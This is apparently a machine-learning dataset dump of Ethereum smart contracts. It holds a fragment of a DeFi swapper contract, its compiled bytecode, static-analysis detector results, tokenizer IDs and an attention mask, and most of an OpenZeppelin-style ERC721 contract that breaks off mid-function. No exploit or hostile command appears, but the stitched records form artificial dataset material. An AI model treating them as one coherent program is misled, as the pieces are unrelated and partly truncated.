CurvePool(0x5a6A4D54456819380173272A5E8E9B9904BdF41B); TetherToken public constant TETHER = TetherToken(0xdAC17F958D2ee523a2206206994597C13D831ec7); YearnVault public constant WETH_VAULT = YearnVault(0xa9fE4601811213c340e850ea305481afF02f5b28); IUniswapV2Pair constant pair = IUniswapV2Pair(0x06da0fd433C1A5d7a4faa01111c044910A184553); IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 public constant MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3); constructor( IBentoBoxV1 bentoBox_ ) public { bentoBox = bentoBox_; WETH.approve(address(WETH_VAULT), type(uint256).max); MIM.approve(address(MIM3POOL), type(uint256).max); } // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // Given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // Swaps to a flexible amount, from an exact input amount function swap( address recipient, uint256 shareToMin, uint256 shareFrom ) public returns (uint256 extraShare, uint256 shareReturned) { (uint256 amountFrom, ) = bentoBox.withdraw(MIM, address(this), address(pair), 0, shareFrom); uint256 amountIntermediate = MIM3POOL.exchange_underlying(0, 3, amountFrom, 0, address(bentoBox)); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInt2 = getAmountOut(amountIntermediate, reserve1, reserve0); pair.swap(amountInt2, 0, address(this), new bytes(0)); uint256 amountTo = WETH_VAULT.deposit(type(uint256).max, address(bentoBox)); (, shareReturned) = bentoBox.deposit(IERC20(address(WETH_VAULT)), address(bentoBox), recipient, amountTo, 0); extraShare = shareReturned.sub(shareToMin); } }
0x608060405234801561001057600080fd5b50600436106100725760003560e01c806378e7e3d11161005057806378e7e3d1146100a55780639f1d0f59146100ad578063daec383d146100ce57610072565b806322a88c091461007757806341495591146100955780636b2ace871461009d575b600080fd5b61007f6100d6565b60405161008c9190610773565b60405180910390f35b61007f6100ee565b61007f610106565b61007f61012a565b6100c06100bb3660046106a5565b610142565b60405161008c92919061091c565b61007f6105b3565b735a6a4d54456819380173272a5e8e9b9904bdf41b81565b73a9fe4601811213c340e850ea305481aff02f5b2881565b7f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd64396681565b73dac17f958d2ee523a2206206994597c13d831ec781565b60008060007f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03166397da6d307399d8a9c45b2eca8864373a26d1459e3dff1e17f3307306da0fd433c1a5d7a4faa01111c044910a1845536000896040518663ffffffff1660e01b81526004016101c4959493929190610787565b6040805180830381600087803b1580156101dd57600080fd5b505af11580156101f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102159190610750565b506040516322770cc360e11b8152909150600090735a6a4d54456819380173272a5e8e9b9904bdf41b906344ee19869061027c908490600390879083907f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd643966906004016107bb565b602060405180830381600087803b15801561029657600080fd5b505af11580156102aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ce9190610738565b90506000807306da0fd433c1a5d7a4faa01111c044910a1845536001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561032057600080fd5b505afa158015610334573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035891906106e4565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600061038a8483856105cb565b604080516000808252602082019283905263022c0d9f60e01b9092529192507306da0fd433c1a5d7a4faa01111c044910a1845539163022c0d9f916103d7918591903090602481016108aa565b600060405180830381600087803b1580156103f157600080fd5b505af1158015610405573d6000803e3d6000fd5b5050604051636e553f6560e01b81526000925073a9fe4601811213c340e850ea305481aff02f5b289150636e553f659061046790600019907f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd64396690600401610893565b602060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b99190610738565b90507f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439666001600160a01b03166302b9446c73a9fe4601811213c340e850ea305481aff02f5b287f000000000000000000000000f5bce5077908a1b7370b9ae04adc565ebd6439668e8560006040518663ffffffff1660e01b8152600401610544959493929190610787565b6040805180830381600087803b15801561055d57600080fd5b505af1158015610571573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105959190610750565b97506105a39050878b610619565b9750505050505050935093915050565b7399d8a9c45b2eca8864373a26d1459e3dff1e17f381565b6000806105da856103e561064b565b905060006105e8828561064b565b90506000610602836105fc886103e861064b565b90610682565b905080828161060d57fe5b04979650505050505050565b808203828111156106455760405162461bcd60e51b815260040161063c906107ee565b60405180910390fd5b92915050565b60008115806106665750508082028282828161066357fe5b04145b6106455760405162461bcd60e51b815260040161063c9061085c565b818101818110156106455760405162461bcd60e51b815260040161063c90610825565b6000806000606084860312156106b9578283fd5b83356001600160a01b03811681146106cf578384fd5b95602085013595506040909401359392505050565b6000806000606084860312156106f8578283fd5b83516107038161092a565b60208501519093506107148161092a565b604085015190925063ffffffff8116811461072d578182fd5b809150509250925092565b600060208284031215610749578081fd5b5051919050565b60008060408385031215610762578182fd5b505080516020909101519092909150565b6001600160a01b0391909116815260200190565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b600f95860b81529390940b6020840152604083019190915260608201526001600160a01b03909116608082015260a00190565b60208082526015908201527f426f72696e674d6174683a20556e646572666c6f770000000000000000000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a20416464204f766572666c6f770000000000000000604082015260600190565b60208082526018908201527f426f72696e674d6174683a204d756c204f766572666c6f770000000000000000604082015260600190565b9182526001600160a01b0316602082015260400190565b6000858252602085818401526001600160a01b0385166040840152608060608401528351806080850152825b818110156108f25785810183015185820160a0015282016108d6565b81811115610903578360a083870101525b50601f01601f19169290920160a0019695505050505050565b918252602082015260400190565b6dffffffffffffffffffffffffffff8116811461094657600080fd5b5056fea2646970667358221220abd800f529340fe1b9999a87dcc946b249104538ece3bcfde8865a972610fca664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 19841, 2475, 2497, 22203, 2581, 6305, 2278, 23499, 2509, 2063, 2683, 28311, 18827, 2050, 2620, 16932, 2509, 26337, 12376, 11387, 25746, 25031, 2683, 2094, 2549, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3816, 1013, 1013, 5371, 1030, 11771, 26775, 22571, 3406, 1013, 11771, 1011, 5024, 3012, 1013, 8311, 1013, 8860, 1013, 11771, 18900, 2232, 1012, 14017, 1030, 1058, 2487, 1012, 1016, 1012, 1016, 1013, 1013, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1013, 1030, 5060, 1037, 3075, 2005, 4488, 2058, 12314, 1011, 1013, 2104, 12314, 1011, 3647, 8785, 1010, 1013, 1013, 1013, 7172, 2007, 12476, 2791, 2013, 1997, 4830, 9397, 6979, 2497, 1006, 16770, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,574
0x9702e2cd4448df52327b16fba0674ffdc080508a
// SPDX-License-Identifier: MIT // Amended by HashLips /** $$$$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$\ $$\ $$\ $$\ $$$$$$\ \____$$ | $$ |\__| $$ __$$\ $$ __$$\ $$ | $$ | $\ $$ |$$ __$$\ $$ / $$$$$$\ $$$$$$$ |$$\ $$$$$$\ $$$$$$$\ $$ / \__|$$ | $$ | $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$ |$$$\ $$ |$$ / \__| $$ / $$ __$$\ $$ __$$ |$$ | \____$$\ $$ _____|\$$$$$$\ $$$$$$$ |$$ __$$\ $$ _____|\_$$ _| $$ __$$\ \____$$\ $$ $$ $$\$$ |$$ | $$ / $$ / $$ |$$ / $$ |$$ | $$$$$$$ |$$ / \____$$\ $$ ____/ $$$$$$$$ |$$ / $$ | $$ | \__|$$$$$$$ |$$$$ _$$$$ |$$ | $$ / $$ | $$ |$$ | $$ |$$ |$$ __$$ |$$ | $$\ $$ |$$ | $$ ____|$$ | $$ |$$\ $$ | $$ __$$ |$$$ / \$$$ |$$ | $$\ $$$$$$$$\\$$$$$$ |\$$$$$$$ |$$ |\$$$$$$$ |\$$$$$$$\ \$$$$$$ |$$ | \$$$$$$$\ \$$$$$$$\ \$$$$ |$$ | \$$$$$$$ |$$ / \$$ |\$$$$$$ | \________|\______/ \_______|\__| \_______| \_______| \______/ \__| \_______| \_______| \____/ \__| \_______|\__/ \__| \______/ */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address 